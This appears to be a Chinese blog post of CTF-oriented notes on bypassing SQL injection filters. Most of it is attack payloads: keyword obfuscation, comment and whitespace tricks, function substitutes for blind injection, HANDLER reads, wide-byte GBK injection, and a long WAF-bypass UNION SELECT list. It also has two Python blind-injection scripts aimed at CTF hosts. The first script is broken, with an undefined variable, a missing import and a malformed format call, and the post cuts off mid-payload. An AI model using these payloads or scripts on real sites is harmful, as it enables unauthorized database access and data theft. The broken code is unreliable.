sql注入之绕过

sql注入之绕过

sqlibypass

检测过滤

布尔注入时检测被过滤的关键字

^length()函数异或检测

例如:

index.php?id=1'^(length('union')!=0)--+

两数异或相异为真

让1与length('union')

也就是说 当页面返回正常时length('union')==0 即union被过滤

​ 当页面返回错误时length('union')!=0 即union未被过滤


大小写绕过

古早bypass现在基本上绕不过去了

union select 1,2,3 from hacker
大小写绕过:
uNion sEleCt 1,2,3 frOm hacker

双写绕过

使用于使用str_replace过滤的情况 古早bypass

union select 1,2,3 from hacker
双写绕过
ununionion selselectect 1,2,3 frfromom hacker

拼接绕过

适用于堆叠注入:

利用concat函数,定义变量 ,prepare语句拼接sql语句并从字符串变量中执行sql

set @a=concat("sel","ect * from users");prepare sql from @a;execute sql;

空格被过滤

使用注释符代替空格:

/**/

or(case/**/when/**/(password/**/regexp/**/binary/**/{})then(sleep(3))else/**/0/**/end)#

使用加号+代替空格

select+database()

使用括号

这个挺常用

select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database())#

空白字符

%09, %0a, %0b, %0c, %0d, %a0

and or被过滤

and => &&

or => ||

使用异或

当无法使用and 或 or来进行逻辑判断时

可以使用异或

1^1=00^0=01^0=0

1^1^1=11^0^1=0


substr被过滤

substr的替换函数有许多:

substr的用法是这样的:

substr( str, startpos,lenth)

//注意sql语法中的起始位置是1
substr("abcde",1,1) //a

left

left无法定位 一般不太常用,会截取从左一定长度的字符串

left(str,length)

left('abcde',1)//a
left('abcde',3)//abc

right

相对于left ,从右开始截取

right(str,length)

right('abcde',1)//e
right('abcde',3)//cde

lpad

左填充函数,原本用法是在被查询字段左侧填充一定字符串

lpad('abcd',8,'x')//xxxxabcd

但是在注入中也可以代替substr使用

语法和substr稍有不同

lpad(str, lenth,startpos)
lpad("abcde",2,1) //ab

rpad

同上,右填充函数

代替substr使用时与lpad用法相同

rpad(str, lenth,startpos)
rpad("abcde",2,1) //ab

mid

用法和substr完全一样

mid("abcde",1,1) //a

构造特殊语法

#database()= mysql
select insert(insert((select database()),1/*字符位置*/,0,space(0)),2,222,space(0)); //m
select insert(insert((select database()),2/*字符位置*/,0,space(0)),2,222,space(0)); //y
select insert(insert((select database()),3/*字符位置*/,0,space(0)),2,222,space(0)); //s
select insert(insert((select database()),4/*字符位置*/,0,space(0)),2,222,space(0)); //q
select insert(insert((select database()),5/*字符位置*/,0,space(0)),2,222,space(0)); //l
select insert(insert((select database()),5/*字符位置*/,0,space(0)),3/*代表长度因为开头有一个空白字符所以第一个字符要取长度2,取前两个就是3*/,222,space(0)); //my

ascii 被过滤

通过bin(hex())将字符串转为二进制进行判断:

or if((ascii(substr((select database()),1,1))>97),1,0)#
select 0 or if(bin(hex(substr((select database()),1,1)))>111101,1,0)#
111101  => bin(hex(97)) ||bin(hex('a'))

sleep被过滤

等价函数:BENCHMARK

BENCHMARK函数是用以基准测试性能的一个函数,第一个参数为执行的次数,第二个为执行的语句

SELECT BENCHMARK(20000000,md5(123));

我本机测试(MBP2020 intel i5)执行两千万次md5(123)时2.922秒

不同机器 时间不一样


select被过滤

handler注入

​ 当能实现堆叠注入的同时select,set,prepare,from等等都被过滤了,这就很绝望。

​ mysql提供了另一种获取数据的方式handler,这个命令是个自古以来的就存在的神秘命令,但是一直不为人所提及。而此命令非SQL标准语法,可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。但由于某些功能上的缺陷一直没有流行使用。

Handler语法说明:

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

例如这个payload: 来源:[GYCTF2020]Blacklist

1'; HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST; 
HANDLER FlagHere CLOSE;#

handler依靠句柄来读取数据,需要首先通过handler table_name open [as alias_name]打开一个句柄,然后通过句柄进行读数据,比如handler table_name read last就是读此表最后一条记录。最后需要关闭句柄:hanler table_name close

Mysql8特性


if 被过滤

使用case when绕过if被过滤的情况

if(condition,1,0) 
case when 写法: 
case when condition then 1 else 0 end

if判断常用于盲注当中

下面的if语句和case when语句是等效的:

0' or if((ascii(substr((select database()),1,1))>97),1,0)#

0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

有时候在布尔盲注时需要if语句,直接通过<>=与and or组成的逻辑语句判断也是可以的

0 or ascii(mid(database(),1,1))>80 #返回1 或 0

返回的结果只有0 或 1 如果代码的逻辑会判断sql语句返回的真假从而决定布尔盲注回显,也是可以用的



= <>被过滤

=被过滤:使用 in()绕过

/?id=' or ascii(substr((select database()),1,1)) in(115)--+    // 正常回显

/?id=' or substr((select database()),1,1) in('s')--+    // 正常回显

LIKE注入

在LIKE的pattern 中 %作为通配符

  • 判断数据库长度
/?id=' or database() like '________'--+ 
  • 判断数据库名
/?id=' or database() like 's%' --+
/?id=' or (select database()) like 's%' --+
或者:
/?id=' or database() like 's_______' --+
/?id=' or (select database()) like 's_______' --+

可以根据LIKE语句字符累加来盲注:

二分法盲注脚本:

#-*-coding:utf-8-*-
import requests
import time
flag=''
strs = string.ascii_letters + string.digits + '_'
for i in range(1,250):
    low=32
    high=128
    mid=(low+high)//2
    while(low<high):

        url="http://d7455caa-1059-40e1-ae1f-6df3e7f992d6.node3.buuoj.cn/search.php"
        payload="?id=' or (select database()) like '{}%'--+""%(i,mid)".format(flag+chr(test))
        res=requests.get(url=payload)

        if'ERROR' in res.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    if(mid==32 or mid==127):
        break
    flag=flag+chr(mid)
    print(flag)

REGEXP 注入

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

0 or if(flag regexp '^f',sleep(3),0)--+ 

如果引号被过滤 可利用16进制代替字符串

0 or if(flag regexp 0x5e66,sleep(3),0)--+ //5e是^
0 or if(flag regexp binary 0x5e66,sleep(3),0)--+ 

盲注时要注意字典里不要带有 + ? * []等正则语法字符

给出一个盲注脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-

import requests
import time as t

url = 'http://eci-2ze7bgvjvxtgpb5q9lfa.cloudeci1.ichunqiu.com'
alphabet = ['_','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
#注意不要出现 * ? + 正则里的通配符
data = {
    'username':'admin\\',
    'password':''
}

hexreg = ''
result = ''
for i in range(30):
    for char in alphabet:
        payload = 'or(case/**/when/**/(password/**/regexp/**/binary/**/{})then(sleep(3))else/**/0/**/end)#'.format('0x5e'+hexreg+hex(ord(char))[2:])
        #print(payload)
        data['password'] = payload
        #time
        start = int(t.time())
        r = requests.post(url, data=data)
        end = int(t.time()) - start

        if end >= 3:
            hexreg += hex(ord(char))[2:]
            result += char
            print(result)
            break
        # else:
            # print(char)
            # print(r.text)
This_1s_thE_Passw0rd

使用least()代替 >

least函数 least(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最小值。

用二分法查数据的时候,可以用least()函数代替>

原本的语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

用least()函数代替>:

select * from users where id=1 and least(ascii(substr(database(),0,1)),64)=64

使用greatest()代替 <

greatest函数greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

用二分法查数据的时候,可以用greatest()函数代替

原本的语句:

select * from users where id=1 and ascii(substr(database(),0,1))<64

用greatest()函数代替>:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

引号被过滤

\转义字符构造sql语句

如果引号被过滤将是一件很难受的事情

以常见的登录框注入为例,有username与password两个字段查询,语句如下:

SELECT * FROM users WHERE username= '' and password =''

以往我们可以利用引号与/**/注释符来绕过,但是引号被过滤时,这种方法就不能使用

我们可以使用转义\来将第一个字段的引号转义为字符串内容的引号,如此一来username的第一个引号与password的第一个引号便构成了一个字符串,只需用注释符注释掉最后一个引号即可

让username=admn password=or if(substr((select database()),1,1)='d',1,0) #

sql语句即成为:

SELECT * FROM users WHERE username= 'admn\' and password ='or if(substr((select database()),1,1)='d',1,0) #'

如此即可不使用引号而构造逃逸的sql语句

image-20210524200958236

使用十六进制

在mysql中,我们可以直接使用十六进制来代替字符串的

比如 users 的十六进制是7573657273

则在sql语句中可使用0x7573657273代替字符串"users"

下列几个语句是等价的:

SELECT column_name FROM information_schema.columns WHERE table_name = 'users'

SELECT column_name FROM information_schema.columns WHERE table_name = 0x7573657273

SELECT column_name FROM information_schema.columns WHERE table_name = BINARY 0x7573657273

宽字节注入(未完成)

过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 具体的方法是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ' 中的 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1.replace():过滤 ' ,将 ' 转化为 ' ,将 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠()的字符串。预定义字符:' , " , 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

x00 n r '" x1a

(防御,将mysql设置为gbk即可)


逗号被过滤: ,

case when 上文有述

使用from....for....绕过

form for 关键字可在substr等函数中代替参数:

substr(str From posi For length)

如此可不使用逗号

select substr('abcde' From 1 For 1)
输出: a

使用offset关键字绕过

可以使用 offset 语句替换 limit 语句里的逗号:

select * from users limit 1 offset 2;
# 此时 limit 1 offset 2 可以代替 limit 1,2

information_schema被过滤

能够代替information_schema的有:

  • sys.schema_auto_increment_columns
  • sys.schema_table_statistics_with_buffer
  • sys.x$schema_table_statistics_with_buffer
  • mysql.innodb_table_stats
  • mysql.innodb_table_index

以上大部分特殊数据库都是在 mysql5.7 以后的版本才有,并且要访问sys数据库需要有相应的权限。

sys.schema_auto_increment_columns表

可以利用的字段:

table_schematable_namecolumn_name
数据库名表名列名

sys.schema_table_statistics_with_buffer表

table_schematable_name
数据库名表名

sys.x$schema_table_statistics_with_buffer表

table_schematable_name
数据库名表名

mysql.innodb_table_stats表

database_nametable_name
数据库名表名

mysql.innodb_table_index

database_nametable_name
数据库名表名

列名被过滤

无列名注入


括号()被过滤

Order by 盲注

union select 被过滤

#WAF Bypassing Strings:
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 %55nion(%53elect 1,2,3)-- -
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 /**//*!12345UNION SELECT*//**/
 
 /**//*!50000UNION SELECT*//**/
 
 /**/UNION/**//*!50000SELECT*//**/
 
 /*!50000UniON SeLeCt*/
 
 union /*!50000%53elect*/
 
 +#uNiOn+#sEleCt
 
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 /*!u%6eion*/ /*!se%6cect*/
 
 +un/**/ion+se/**/lect
 
 uni%0bon+se%0blect
 
 %2f**%2funion%2f**%2fselect
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 REVERSE(noinu)+REVERSE(tceles)
 
 /*--*/union/*--*/select/*--*/
 
 union (/*!/**/ SeleCT */ 1,2,3)
 
 /*!union*/+/*!select*/
 
 union+/*!select*/
 
 /**/union/**/select/**/
 
 /**/uNIon/**/sEleCt/**/
 
 /**//*!union*//**//*!select*//**/
 
 /*!uNIOn*/ /*!SelECt*/
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 +UnIOn%0d%0aSeleCt%0d%0a
 
 UNION/*&test=1*/SELECT/*&pwn=2*/
 
 un?+un/**/ion+se/**/lect+
 
 +UNunionION+SEselectLECT+
 
 +uni%0bon+se%0blect+
 
 %252f%252a*/union%252f%252a /select%252f%252a*/
 
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 
 %2f**%2funion%2f**%2fselect%2f**%2f
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 /*!UnIoN*/SeLecT+
 
##
#
#
#Union Select by PASS with Url Encoded Method:
 
   %55nion(%53elect)
 
   union%20distinct%20select
 
   union%20%64istinctRO%57%20select
 
   union%2053elect
 
   %23?%0auion%20?%23?%0aselect
 
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
 
   %55nion %53eLEct
 
   u%6eion se%6cect
 
   unio%6e %73elect
 
   unio%6e%20%64istinc%74%20%73elect
 
   uni%6fn distinct%52OW s%65lect
 
   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

未完....

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *